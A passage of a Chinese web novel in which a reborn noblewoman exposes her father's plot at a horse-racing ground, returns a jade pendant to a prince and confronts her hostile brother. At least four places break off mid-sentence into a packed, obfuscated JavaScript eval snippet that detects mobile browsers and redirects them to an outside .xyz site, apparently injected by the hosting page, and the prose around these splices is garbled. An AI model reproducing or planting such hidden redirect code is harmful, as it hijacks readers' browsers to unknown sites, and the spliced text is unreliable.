他想让谢詹杭为他解围。 天岚将玄微老道的模样看在眼里,上前一把抓住他的衣领,几乎将他提起来。 可嘴上,天岚开口,却是带着笑意的。 “道长,无讳大师问你话呢,你不答也就罢了,怎么还频频看向我家侯爷?这不知道的,怕是要误会我家侯爷,认为是你与我家侯爷串通口供,沆瀣一气,故意要以灾星直说,谋害我家小姐呢。” 玄微老道心里叫苦。 “我……” 玄微老道想要开口辩解,这时候,就见江厌款步上前。 “玄微道长所言多有不实之处,本官也怀疑他有谋害谢二小姐之嫌,姑娘,把他交给本官吧,本官这就将他带回京兆府,严加审问,给谢二小姐,也给众人一个交代。” “不,不要!” 几乎在江厌话音落下的瞬间,玄微老道就惊慌失措的开了口。 他可不想被带去官府,那地方,进去就完了。 他急匆匆的看向谢詹杭。 “侯爷,你倒是说句话啊,都是你让我来的,那些话也是你让我说的,你不是说不会出问题的吗?我……” “你胡说什么?” “我……” “污蔑我家女儿,现在还要攀咬于我,你这妖道是何居心?来人,把他给我抓起来,严刑拷问。” 谢詹杭心慌意乱,急中出错。 他话音落,还不等他的人动,江厌便冷着脸看向他。 “侯爷,这是打算枉顾律法,私设刑堂吗?侯爷这般,是怒他诬陷侯爷,诬陷谢二小姐,还是想遮掩什么?” “江大人慎言。” “本官很慎言,否则,本官早就想问了。 地动之后,侯爷到底是想进山,还是不想进山? 若侯爷想进山救人,连地动未结束,随时都可能再来,可能危及性命都不顾,那便是极爱极重视谢二小姐的,那这般的爱与看重,又怎会因为一个妖道的三言两语,而心意顿改? 若是侯爷不想进山救人,那便是不在乎谢二小姐生死的,那为何侯爷还要表现出来一副爱重谢二小姐的模样?这是否也正印证了这妖道说的,你与他早有谋算,沆瀣一气,同流合污? 刚刚的深情,都是装的。 那今日的地动,谢二小姐进后山,又是否与侯爷有关?” “你……” 真相被戳破,谢詹杭气急败坏,脸色青黑。 他想要辩解。 可话还未说出口,谢晚棠的声音,就从身后传了过来。 “江大人,诸位大人,臣女之生死无足轻重,臣女刚刚进山,有两个发现,想来更为重要。” 一石激起千层浪。 谢晚棠的出现,瞬间吸引了众人的目光。 谢晚棠的身后,跟着天月和天晴,天晴的手上还抓着一个人。 一个女人。 她穿着谢婉宁的衣裳,低着头,幕篱歪歪斜斜的,依稀可见半张被毁了的脸,只是看不太清晰。 谢夫人一惊,她下意识的冲上去。 “宁儿……” 谢夫人轻唤,可她掀开幕篱,里面露出的,却是知鸢的脸。 双目紧闭,显然是晕着的。 谢夫人松手,连连后退,“怎么会是知鸢?她怎么穿着宁儿的衣裳?她……” “是啊,怎么会是知鸢呢?” 谢晚棠嗤笑。 瞟了一眼心神不宁的谢詹杭,谢晚棠冷声继续。 “就在刚刚一场马球结束后,我发现,有一个姑娘顺着小路,进了马场后山。她穿着姐姐常穿的衣裳,带着幕篱,远远的瞧着,不论是身形,还是走路的姿势,都与姐姐相似。 这阵子,江大人为了找姐姐,费了不少心思,也费了不少人手。 我有发现,自然不敢视而不见。 是以,我带着天月一路追着进了山,在追了许久后,才发现,这个酷似姐姐的人居然是知鸢。我也很好奇,她为何要进山,又为何要扮做姐姐的模样?就像是……要故意要引我进山一样。” 最后几个字,尤其是那句“故意”,谢晚棠说的千回百转,意味深长。 她转头看向江厌。 “江大人,人我们就放在这了,剩下的就仰仗江大人了。” “好。” 江厌带人去抓知鸢。 之后,谢晚棠继续,“这是我的第一个发现,至于第二个发现,则与刚刚的地动有关,这是齐王派去救人的天晴发现的,还是由他来说吧。” 慕枭派人进山救人了? 这话,让所有人都有些意外,他们下意识的看了看慕枭,半晌目光才又转回到天晴身上。 谢晚棠也看向了慕枭。 她眉眼含笑。 那一双水眸里,没有历经生死的恐惧,反而带着光,灿若星辰。 慕枭看着谢晚棠,脑海里都是她骑马时的样子,纵情自在,这样的她明媚鲜活,好看的紧。 谢晚棠…… 好像就该是这样的! 慕枭想着,就见天晴过来,到他身边。 天晴也不兜圈子。 “王爷,地动后属下奉命进山救谢二小姐,却意外发现,后山中地动的地方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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难道,这就是无讳大师说的“行到水穷处,自会涅槃而生?” 今日这一步,他是不是错了? 谢詹杭心如乱麻,他焦躁不安,这时,就见慕枭看向他,四目相对,一种不好的预感油然而生。 几乎是本能的,谢詹杭后退了两步。 慕枭开口,声音冰冷。 “永昌侯涉案,暂关押至马场更衣的小院,等候调查,天晴,你亲自看管,不得让永昌侯与任何人接触,谨防串供,若有差池,提头来见……” 第103章 暖意淌 “是。” 天晴应声,即刻到谢詹杭身边。 从无讳大师出现,谢晚棠平安从后山出来,谢詹杭就知道,今日事情不顺,他的状况大约不会太好。 可是,他怎么也没想到,慕枭居然这么直接。 直接关押他,等候调查…… 谢詹杭心头发凉。 “王爷,我怎么说也是朝中重臣,侯爵在身,只因为一个妖道的胡言乱语,就关押我,这怕是不妥吧?” 慕枭看向谢詹杭,剑眉轻挑。 “侯爷以为,本王关押你,只是因为一个妖道的三言两语?” “可眼下并没有证据表明,后山之事是我所为,王爷凭什么说我涉案?” “你应该庆幸还没有证据。” 四目相对,慕枭的眼底,全是冷冽。 “否则,本王要的,就不是关押你,而是要你的这条命了。你也最好是干干净净的,与这些一切毫不相干,否则……你这永昌侯府昌隆鼎盛的日子,也就到头了,与永昌再无干系。” 话音落下,慕枭也懒得再跟谢詹杭浪费口舌,他挥了挥手。 见状,天晴直接抓住谢詹杭的肩膀。 他将谢詹杭带了下去。 眼见着谢詹杭被带走,谢夫人这才稍稍回神。 只是,站在高台上,看着众人躲瘟疫似的远离,连带着谢詹林和洛氏一家子,也都站的远远的,她神情茫然。 今儿不是要弄死谢晚棠,要让她死无葬身之地吗? 怎么会变成这样? 还有谢晚棠—— 无讳大师说,她不是灾星,反而命中带着福相,有福泽绵延之态。 这怎么可能? 当年大师进府,可不是这么说的! 如若谢晚棠真的不是灾星,那谢詹杭今日,又怎么会栽这么大一个跟头? 还有刚刚,看到穿着谢婉宁衣裳的知鸢,她真的以为,是她的宁儿回来了。 谢詹杭安排知鸢扮成谢婉宁的样子,引谢晚棠进山,他凭什么觉得,谢晚棠就一定会进山?他是笃定,谢婉宁在谢晚棠的手上,在这见到谢婉宁,谢晚棠会心生诧异,故而上前查看吗? 她询问过,这阵子谢晚棠没有出过府。 若谢婉宁在她手上,那…… 还能活吗? 万千思绪堆积于心,谢夫人心里一片凌乱,她眼前止不住的一阵阵发黑,天旋地转的感觉袭来,她承受不住,两眼一黑就晕了过去。 永昌侯府的下人瞧着,急忙冲上来帮忙,又是一阵兵荒马乱。 而这些,都与谢晚棠无关。 海云卿瞧见谢晚棠,快步跑过来。 一双眸子里,含着担忧,上上下下的在谢晚棠身上打量,许久她才问出声。 “谢二小姐,你没事吧?山里动静那么大,你离得近,真的没受伤?” “多谢海小姐,我没事。” “你可别觉得今日是我祖父寿辰,就不好意思开口,我们带了府医过来的,今儿也有好几位太医在呢,我瞧着你身上有不少地方沾了泥土,要是哪伤了,你只管说,可千万别忍着。” “放心吧。” 从见到酷似谢婉宁的人进山开始,谢晚棠就知道,那是谢詹杭的计。 毕竟,她亲手埋的人,天岚又盯了三个时辰,不可能再有意外。 是以,她一早就做好了心理准备。 进山的时候,她身边又有天月护着,她并没有受伤。 身上的泥土,一方面是山中动荡,她不可避免沾染上的,另一方面也是她刻意弄的,不然,又怎么把谢詹杭一步步的推进深渊? 谢晚棠没想到海云卿会这么关心她。 四目相对,她有些歉意。 “多谢海小姐关心,我知道不论是海小姐,还是海国公,都是仁善的人,若是有问题,我一定不藏着掖着。” “那就好。” 听着谢晚棠的话,海云卿明显松了口气。 她也低声念叨。 “身上没受伤,心上也不要受伤才好,这世道,即便是太平盛世,也少不得有些牛鬼蛇神,妖魔鬼怪。什么灾星不灾星的,自己过得不顺,过的不行,就把责任推到旁人身上,说是旁人的命数影响,何其可笑?这种话,都是糊弄蠢货,安慰废物的,你可别往心里去。” 海云卿通透,这些话,让谢晚棠心神激荡。 她眼睛也止不住的发酸。 历经过一世生死,谢晚棠以为,她的情绪足够稳定,除了慕枭,鲜少有事再能激起她心头的波澜了。 可这一刻,海云卿只用了一句话,就让她心头发软。 说不感动,那是假的。 “海小姐……” “好了好了,我也不拉着你多说了,我瞧着无讳大师还在看你,你能把他请来不容易,想来你们还有事要聊,你快去吧。” 海云卿说完,冲着谢晚棠笑笑,就跑去找海国公、海国公夫人了。 刚刚,他们已经跟她说了,慕枭拒绝了亲事。 她是有点失落。 但是,人这一辈子,本也不是想要什么,就一定能得到什么的。 感情的事,尤其如此。 强扭的瓜不甜,她也没打算非得扭下来尝尝味儿。 她努力过了。 不成,那就算了。 来日方长,她总归能遇到更合适她的人。 怕海国公和海国公夫人担心,海云卿冲着他们走的脚步,都更快了些。 谢晚棠看着海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15840923|174111||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云卿的背影,心里暖意流淌,这辈子,大抵是比上辈子幸运的,能碰上海云卿,也算是她的幸运之一。 但愿,她们不会因为慕枭,而心生怨怼。 谢晚棠心里如是想着。 半晌,她才带着天岚、天月、知棋,快步去了无讳大师身边。 “晚棠见过无讳大师。” 谢晚棠微微行礼。 “今日之事,有劳大师了,晚棠感激不尽。” 无讳大师摇头,“言该言之事,助该助之人,这本也是贫僧该做的,当不得谢二小姐的一句谢。更何况,谢二小姐的书信,让贫僧心中疑惑丛生,贫僧为解惑而来,帮衬谢二小姐,也不过是与谢二小姐有佛缘,是顺水人情,谢二小姐不必言谢。” “于大师是顺手,于我却是关乎命运和前程,一个谢字,终究太轻。” “谢二小姐的谢礼,贫僧已经收到了,谢二小姐给的,又怎会只是一个‘谢’字?” 无讳大师双手合十,冲着谢晚棠笑笑。 “谢二小姐还要忙,贫僧就先告辞了。” “大师慢走。” “好说。” 无讳大师转身离开,谢晚棠看向天岚,让她稍微送一送。 天月和知棋,跟在谢晚棠身边,天月并不多问,可知棋却好奇的紧,“小姐,无讳大师说,小姐给他送了谢礼,可奴婢怎么不知道这事?小姐给无讳大师送了什么啊?” 闻言,谢晚棠轻呼了一口,她转头看向慕枭。 她给无讳大师送了一封信。 信上,写了她的生辰八字,也写了一首诗,一首暗含她和慕枭前世今生两世缘分的诗。 只是在诗里,她将她和慕枭的身份和经历调换了。 以无讳大师的本事,定能算到,她的命和诗不符。 这是饵。 今日,是她约了无讳大师。 也是她用而饵,引了无讳大师跑这一趟。 无讳大师来,看到她的面相,看到她的骨相,也看到她的遭遇和处境,自会明白一切。 心中疑惑尽消,这于无讳大师而言,或许就是“礼”。 谢晚棠承认自己龌龊。 可是,这京中想请无讳大师的人太多了,能得偿所愿的却少之又少。就算是慕枭,亲自去慈恩寺,也未必次次都能见到无讳大师的面。 除了用这种手段,她别无他法! 好在无讳大师没有动怒。 幸好! 谢晚棠微微松了一口气,她抿了抿唇,这时,她就瞧见,慕枭坐在轮椅上,端着茶盏,正在看她。 四目相对,谢晚棠从慕枭暗沉的眸子里,看到了打量和探究。 她的心颤了颤。 之后,她缓缓走向慕枭…… 第104章 好兆头 慕枭让天明推着,下了高台。 谢晚棠过去,正好面对面碰上,谢晚棠微微福身行礼。 “臣女多谢王爷。” 慕枭没答。 他并不觉得,他为谢晚棠做了什么,他也不觉得,谢晚棠有什么可谢他的。他所做的,都是站在他的位置上,他该做,也必须做的事,就算于谢晚棠有些助益,那也只能说,情势如此。 或者说—— 是谢晚棠谋算的够好,推着他一步步走到现在,不得不如此! 就算要谢,谢晚棠该谢的也不是他。 而是她自己! “本王并未为谢二小姐做什么,自然谢二小姐也不必谢,若是没有其他要说的,谢二小姐就请回吧。” “啧!” 谢晚棠咂舌。 “王爷谢人的时候冷淡,帮人的时候也这么冷淡,一句话就把人噎**,想要跟王爷聊聊,还真难。” 慕枭没回应她,而是给天明使了个眼色,让他推着轮椅走。 见状,谢晚棠微微上前拦了拦。 借着错身的工夫,谢晚棠将之前慕枭让天岚给她的玉佩,不动声色的送到了慕枭手里。 大约是在手里攥了许久,玉佩上还带着谢晚棠的体温。 温热热的。 慕枭攥着玉佩,手指轻轻摩挲,他挑眉看向谢晚棠。 谢晚棠勾唇,也不回避。 “既然王爷不要我谢,那我也不要王爷的谢礼,毕竟,我救王爷,那是我心甘情愿,再者,这礼物贵重,我收了心里不安,再加上我也怕被别人看到了,被人说私相授受,授人以柄,麻烦缠身,所以还是还给王爷的好。” 私相授受—— 这四个字,谢晚棠说的意味深长,暧昧四起。 慕枭嘴角微微抽了抽。 现在想起来私相授受这回事了? 之前,又往齐王府送淫词艳曲,又往齐王府送画面暧昧的画时,她怎么不提私相授受? 只怕,她怕的不是私相授受,而是怕就此恩情断,再无牵绊吧? 心眼倒是多。 慕枭心里想着,他摩挲着玉佩的手指顿了顿。 “可要本王替你查当年到永昌侯府,断言你是灾星的人?” 那是谢晚棠困苦之始。 凭谢晚棠的性子,她必定不会就这么睁一只眼闭一只眼,把事情揭过去,让害了她的人继续这么自在逍遥。 他查,就当还恩了。 只是,听着慕枭的话,谢晚棠几乎想也没想,就摇了摇头。 “不用。” “不用?”慕枭意外。 谢晚棠点头,“是的,不用查。” 她早就已经想过了。 她既然并非灾星,那当年到永昌侯府的大师,就肯定有问题。 如果那大师只是个半吊子,是专门骗人的,那他赶在永昌侯府大喜的日子,他要么说好话,根本不会有“灾星”这回事,要么说她是灾星,再说破解之法,以便骗骗银钱。 可这两种情况都不是,那十有**,那所谓的大师,便是人安排的。 是有人故意要他这么说的。 如果安排这一切的人是谢詹杭和谢夫人,那就正好。 反正他们本就有仇,恩恩怨怨,血海深仇,她也没想过与他们善罢甘休,多这一桩事,少这一桩事,无甚差别。 这不影响什么。 没有查的必要。 而如果这事不是谢詹杭、谢夫人做的,被坑了这么多年,甚至也因为她是灾星的这事,闹到今日,让谢詹杭吃尽了苦头,也让整个侯府岌岌可危,想来他们两口子,也不会轻易放过幕后之人。 如果这次谢詹杭没栽透了,还能逃过这一劫,那他和谢夫人,必定会查当**。 他们了解当初的情况,查起来,自然也更顺手。 她坐享其成,等个结果就是了。 没必要浪费时间。 “王爷贵人事忙,王爷的人手,也都是要做大事的,是以,咱们的人力和物力,就不要再浪费在过去的那点微不足道的小事上了,王爷的好意我心领了,真的领了。” 咱们! 慕枭的注意力,几乎都在这两个字上。 这两个字,用在他和谢晚棠身上,有些过于亲近了。 她倒是敢! 慕枭正想着,就听到谢晚棠又道,“不过,王爷若是非要谢我,不如寻个日子,陪我到马场骑一次马,比一比吧?” “非要感谢?那若本王不……” 谢晚棠了解慕枭。 她很清楚慕枭要说什么,是以,还不等慕枭说完,她就将慕枭的话打断了。 满脸狡黠的坏笑,谢晚棠开口道。 “当然,如果王爷不想感谢我,那便是我非要因为今日之事,感谢王爷,想要盛情邀请王爷到马场赛马。” 慕枭:“……” 天明:“??” “众目睽睽之下,我拦着王爷问一两句谢詹杭的事,还说的过去,聊的久了,怕是会引人非议,有损王爷的名声,那这事咱们就这么定了,不多聊了,具体的日子到时候咱们再议,臣女先告退了。” 慕枭:“……” 天明:“!!” 谢晚棠转身就走,毫不留恋。 那潇洒的劲儿,宛若刚刚缠着慕枭,说个不停的人不是她似的。 慕枭眉头紧锁。 这时,慕枭就听到身后推着轮椅的天明,“噗嗤”一声笑了出来。 慕枭将玉佩收好,手漫不经心的敲着轮椅扶手? “很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853566|174111||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好笑?” 慕枭声音很冷,天明听着,只觉得脊背发凉。 他瞬间就噤了声。 只是,笑虽收敛了,他嘴上却还是忍不住嘀咕了一句,“属下只是觉得,王爷似乎有些被谢二小姐拿捏了。” “滚去跟天晴交换,换他回来伺候。” “王爷恕罪。” 慕枭没再理会天明,可他心里,却反复回想着谢晚棠的模样,琢磨着“拿捏”两个字。 他心里,隐隐有种很微妙的感觉。 说不清道不明。 …… 谢晚棠这边。 几乎是在转身的瞬间,她就长长的舒了一口气。 自重生而来,她做了太多不该做的事,她不该明知道慕枭不近女色,不喜欢行为放浪的女子,还故意撩他,她也不该在今日,在马场人来人往的情况下,主动接近慕枭。 可是,她又不得不这么做。 慕枭不近女色,情窦一点都不开,她若不主动,她甚至不知道该如何与慕枭开始。 尤其是她和慕枭身份差距太大,相见都困难,眼下,她又忙于跟谢家人斗,她很难分出心思来,再做其他谋算。 今日,她也不得不冒险与慕枭交谈。 她得把玉佩还回去。 恩也好,情也好,甚至是怨也好,恶也好…… 她和慕枭之间,总归得有点牵绊。 别管什么样的牵绊,是好是坏,都比算的一清二楚,断的干干净净要强。 今日赛马,她被谢婉瑜推下场,看似是迫不得已,可其实,她心里也是愿意的。 被囚禁十六年,她会骑马,容易让谢家人生疑。 这不假。 可是,她那一手御马之术,是慕枭教的,她在马场上的一举一动,会引起慕枭的注意,也是真的。 她得赌。 而趁热打铁,借由骑马之事,再与慕枭接触,也是她的机会。 有接触的机会,才可能有往后。 谢晚棠心里想着这些事,一颗心七上八下的,有喜,也有忧,她正琢磨着,就听到身后,传来一阵脚步声。 “谢二小姐,稍等。” 谢晚棠闻声回头,就见刚刚还站在慕枭身后推轮椅的天明,已经到了他身边。 见到他,谢晚棠微微有些诧异。 “可是王爷有事?” “是。” 天明听问,也不兜圈子,他快速回应。 “王爷让属下转告谢二小姐,正月十二,隆御马场,巳时初,还望谢二小姐不要失约。” 天明说完就走,谢晚棠则直接僵在了原地。 正月十二,慕枭的生辰。 慕枭在这一日约她…… 这…… 算个好兆头吗? 第105章 回头路 永昌侯府。 谢夫人从马场被带回来,就一直昏睡着,等她醒来的时候,天色都已经暗下来了。 看着熟悉的房间,她人呆愣愣的,半晌才回神。 “娘,你怎么样?” 关切的询问声,从耳畔响起。 谢夫人侧头,就瞧见她的儿子谢怀鸣,坐在她的床边。 谢怀鸣在军中任职,常年驻扎在军营,也就只有年节的时候才会回府,平时鲜少回来,此刻,他身上还穿着铠甲,大约是听到了府上的动静,特意赶回来的,还没来得及收拾。 看到谢怀鸣,谢夫人像是看到了主心骨。 “怀鸣,出事了……” 谢夫人挣扎着要起来。 见状,谢怀鸣忙伸手搀扶住她,“娘,你别动,府医说你这些日子身子亏损的厉害,今日又急火攻心,才会晕厥,你得好好休养。” “你爹他……” “娘,我都已经知道了。” 谢怀鸣就是接到了府上的消息,才会匆匆赶回来的。 谢夫人泪眼朦胧,“你爹被齐王扣在马场了,要等候调查,那后山的事,是你爹一手安排的,这么查下去,只怕要出大事。” “我知道。” 谢怀鸣点头。 “刚刚我回来时,管家已经传了最新的消息给我,马场后山的事,已经查的差不多了,爹私藏**,制造动荡,危及权贵,制造天罚假象,有损国运,惹了皇上震怒,眼下,他已经被关进了天牢,在听候发落。” “被关进了天牢?怎么会这么快?” “齐王主持办案,何曾慢过?更何况,还有江厌和沈少臣联手调查,怎么可能不快?事关重大,又涉及国运,皇上那头又怎么会不重视?” 尤其是,谢詹杭之前才犯过事,惹过皇上不快。 今日的事一出,雪上加霜。 自然更糟。 听着谢怀鸣的话,谢夫人脸色惨白,她坐立难安,一颗心七上八下的,根本不知道该如何是好。 “鸣儿,现在该怎么办?要怎么才能救你爹?救侯府?” “娘,你先别急。” 极力安抚着谢夫人,谢怀鸣轻声解释。 “我已经安排了,明日早朝,会有人为爹辩解,会拿着证据,将罪责都引到谢龄的身上。我问过了,马场后山的事,是谢龄一手安排的,铁证如山,只要爹咬**不认是他安排谢龄做的,就或许还能有一线生机。” “这……能成吗?” “先试试看,不行的话,我再想办法。” “还有其他办法吗?” 谢詹杭已经被关入了天牢,保不齐什么时候,命就没了。 一荣俱荣,一损俱损。 永昌侯都没了,这永昌侯府又能存活几日? 谢夫人心里怕。 这时,她就见谢怀鸣靠过来。 压低了声音,谢怀鸣用只有他们两个人能听到的声音,低声开口,“娘,爹是个会谋算的人,他手里,有保全性命,保全永昌侯府昌隆鼎盛的东西,真若到了万不得已的时候,他会把东西拿出来自救的。 永昌侯府不会倒的。 眼下我们要做的,就是尽力为爹打点,把路走宽,我们不能还没出结果呢,就先乱了阵脚,那是给爹添麻烦,也是在把永昌侯府,推向万劫不复之地。 是以,不论如何,娘都要冷静。 娘只管记着,爹一心疼爱女儿,从不曾生过害谢晚棠的心思。 他忠君护国,更不会为一己私欲,而将众人的性命,将家国利益置于不顾。 这就够了。 剩下的,我会安排的。” 谢怀鸣的话,一字一句,说的很慢很慢。 谢夫人连连点头。 “我知道,我都记下了,那些事都是谢龄做的,跟你爹没关系,跟咱们没关系。你爹疼爱谢晚棠,你爹忠君护国,没有异心。” “这就对了。” 安抚住谢夫人,谢怀鸣稍稍安心。 局势越乱,他们就越得冷静,否则急中出错,节外生枝,会麻烦不断。 谢怀鸣正想着,就听谢夫人开口询问。 “对了,谢晚棠呢?” 谢怀鸣挑了挑眉,没有应声。 在自己儿子面前,谢夫人也不藏着掖着,“鸣儿,今日无讳大师说了,说谢晚棠不是灾星。可当年那个到咱们府上来的大师,明明言之凿凿,说她是天降灾星的,你说这是怎么回事?她到底……” “娘!” 不等谢夫人说完,谢怀鸣就将她的话打断了。 四目相对,谢怀鸣眼里全是冷意。 “娘,你要记住了,别管当年是怎么回事,谢晚棠是不是灾星,我们与她之间,都再没有回旋的余地了。” 十六年的囚禁,早就断了他们之间的情分。 更别说,谢婉宁屡次要杀谢晚棠,谢詹杭而今也亲自动了手,谢夫人又偏心,从未关心过谢晚棠一丝一毫…… 没有回头路了。 即便谢晚棠不是灾星,眼下情状,也改变不了什么。 谢夫人死死的咬着唇。 许久,她才看向谢怀鸣,试探性的询问。 “如果……如果她不是灾星,如果我们跟她说,我们都是被人害的,如果我们找到当年害她的那个大师,你说……她有没有可能原谅我们?你说她……有没有可能,告诉我们宁儿的下落?” 谢怀鸣眉头蹙了蹙,他思忖半晌,终是没有出声。 可能吗? 到现在,谢夫人心里对谢晚棠也没有一丝的愧疚,她的退让,所求的也不过是谢婉宁的下落。 谢晚棠心上伤痕累累,又要如何宽容? …… 桐花台。 谢晚棠正忙着收拾东西。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853567|174111||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 衣裳料子、银子首饰、还有常用的药材、能放些日子的甜点肉脯、果子茶叶,但凡是能想到的,谢晚棠都收拾了些。 东一样西一样,很快她就收拾了一个大包袱。 “对了,还有几个新的绣样,也得装上。” 谢晚棠转身去拿。 几个绣样,也被她一并塞进了包袱里,确定真的没什么了,她又往包袱里塞了一张银票,这才满意的将包袱系上。 轻呼了一口气,谢晚棠看向天岚。 “明儿麻烦你走一趟,去一趟景溪别院,帮我把这个包袱给沈嬷嬷送过去。” 眼瞅着就到年根了。 两世,往年她要么和沈嬷嬷被囚禁在小破院里,日子贫苦,手头紧巴的厉害,一文钱恨不能掰成两半用,要么她人在齐王府,吃喝不愁,可沈嬷嬷却被谢詹杭关押囚禁,什么都送不到她手上去。 今年不同。 今年,她和沈嬷嬷都好好的,她手头也富裕,自然想让沈嬷嬷过个好年。 虽然依旧没有锦衣玉食,山珍海味,但这些小东西,都是曾经她和沈嬷嬷最盼着的,想来沈嬷嬷会喜欢。 谢晚棠收拾东西,脑海里是沈嬷嬷收到东西的模样。 她心里欢喜。 当然,她也没忘了叮嘱。 “对了,接下来几日,大约会有人盯着咱们,天岚你出去的时候,记得在京中多兜几圈,能把尾巴甩掉,就尽量都甩掉。” 纵然景溪别院是慕枭的产业,沈嬷嬷在那,谢家人会有所忌惮,不敢乱来。 但少些人知道沈嬷嬷的落脚点,知道她的境况,总归安全些。 是好事。 天岚知道沈嬷嬷的事,她也明白谢晚棠的顾忌。 “小姐放心,奴婢明白。” “有劳了。” 谢晚棠也不会亏待手下人,她又拿出了五十两银票,递给天岚。 “我手头上剩的不多,这个你拿着,跟天月、知棋他们分一分,好歹年下买点零嘴,买两朵绢花。等过了年,知琴和六子那边有进项了,我再给你们补,你们都别嫌少。” 跟着她,于天岚、天月来说,是吃了苦头的。 她都记着呢。 谢晚棠还想说些什么,这时候,就听到门外,传来一阵脚步声。 她看向门口,就见谢怀鸣掀了帘子进来。 谢晚棠是见过谢怀鸣的。 只有一次。 是上辈子在她死后,慕枭**永昌侯府,为她报仇的时候,谢怀鸣最后从京外赶回来,她匆匆的瞧过一眼。 她对谢怀鸣并不算了解,只是,光看谢怀鸣冷沉的脸色,她也知道来者不善。 同样,天岚她们也看得出来。 天岚、天月下意识的上前,一左一右的护着谢晚棠。 谢怀鸣眼神冰冷。 “你们几个,全都退下……” 第106章 针锋对 吩咐,天岚、天月听到了。 只不过,她们两个谁都没动,连带着一旁的知棋,也紧贴着谢晚棠身侧站着,没移动半步。 谢怀鸣是侯府嫡长子,未来是要承爵的,再加上他不依靠侯府,十六岁入军营,到如今也算是小有所成,比京中的一般公子纨绔要强很多,是以,他在这侯府里地位尊贵。 下人们都敬着他,不敢忤逆他半分。 偏这三个小丫头视他如无物。 瞬时,谢怀鸣脸色青黑一片,他转头看向谢晚棠。 “让你的人滚下去。” 谢晚棠闻言笑笑,她抬手拿起桌上的棋谱,漫不经心的翻着,连个正眼也没给谢怀鸣。 “我不是谢大公子的兵,我的人,也轮不到谢大公子来发号施令。” “谢晚棠!” “谢大公子不请自来,主动上门,那就有什么说什么,别挑三拣四的摆架子。我这不是谢大公子耍威风的地儿,而今的永昌侯府,怕也由不得谢大公子再耍威风了。” 用最柔的语气,说最噎人的话。 谢怀鸣看着谢晚棠,脸色愈发难看了不少。 “别逼我动手。” “动手?” 呢喃着这两个字,谢晚棠嘲弄一笑。 “谢大公子若想动手,那……天岚,陪谢大公子切磋切磋,请谢大公子给你指点指点。” “是。” 天岚应声上前。 之前,谢怀鸣并没有细看天岚,但刚刚这两步,他看得出来,天岚下盘很稳,脚步却很轻,一看就是练家子,而且轻功极好。 他没想到,谢晚棠身边,居然有这么厉害的人。 不过也是。 若非身边有帮手,就凭一个被囚禁了十几年,要银钱没银钱,要手段没手段的小姑娘,又能成什么事?兴起什么风浪? 谢怀鸣想着,歇了动手的心思。 他快步到桌边上,到谢晚棠的面前坐下。 “我听人说了,今日在隆御马场,无讳大师说你并非灾星。” 谢晚棠没应声。 谢怀鸣叹了口气,耐着性子道,“当年,娘生产的时候,婉宁先出生,她出生后红霞漫天,乃大吉之兆。爹当即让二叔、二婶去请大师,来帮忙测算,也就是大师进门的时候,你出生的。他说婉宁福运深厚,而你是天降灾星。 他说的神乎其神,还说你会祸及侯府,这才让爹娘心生忌惮。 也是因为这,才会让你吃许多苦头。 我知道你心里有怨气,可是,追根究底,这件事并不能完全怪爹娘。过去的事都过去了,你是名门闺秀,也该学着大度些,别总抓着过去的事不放。还是针对自己家里人,闹得家宅不宁,这又是何苦?” 谢怀鸣苦口婆心,滔滔不绝。 谢晚棠听着,面无表情,甚至连一丝波澜都没起,她也没吭声。 等谢怀鸣说完,她微微垂眸,目光就又落在了棋谱上,更是懒得搭理他一字半句…… 谢怀鸣从没这么被无视过。 他气的直拍桌子。 “谢晚棠,我跟你说话呢,你听到没有?你这是什么态度?” “天岚!” 谢晚棠没应,只唤了天岚一声。 天岚会意,上前两步,二话不说巴掌就甩向了谢怀鸣。 早就想抽谢怀鸣了,眼下谢晚棠发了话,天岚动手,动作又快又猛。 饶是谢怀鸣功夫不俗,反应迅速,躲闪的够快,他的脸,还是被天岚的手,堪堪扫到了一块。 谈不上疼。 可那种羞辱,却极其浓烈。 腾的一下站起来,谢怀鸣就要动手。 见状,谢晚棠把棋谱扔在桌上,她眯着眼睛,讽刺的看向谢怀鸣。 “谢大公子,只是一个没打结实的巴掌罢了,都已经是过去的事了,谢大公子是出身名门的大家公子,自是大度包容的,又何至于跟个小丫头计较,闹的鸡飞狗跳的,失了气度和体面。” 谢晚棠将刚刚谢怀鸣说的话,尽数还给了他。 谢怀鸣气得发抖。 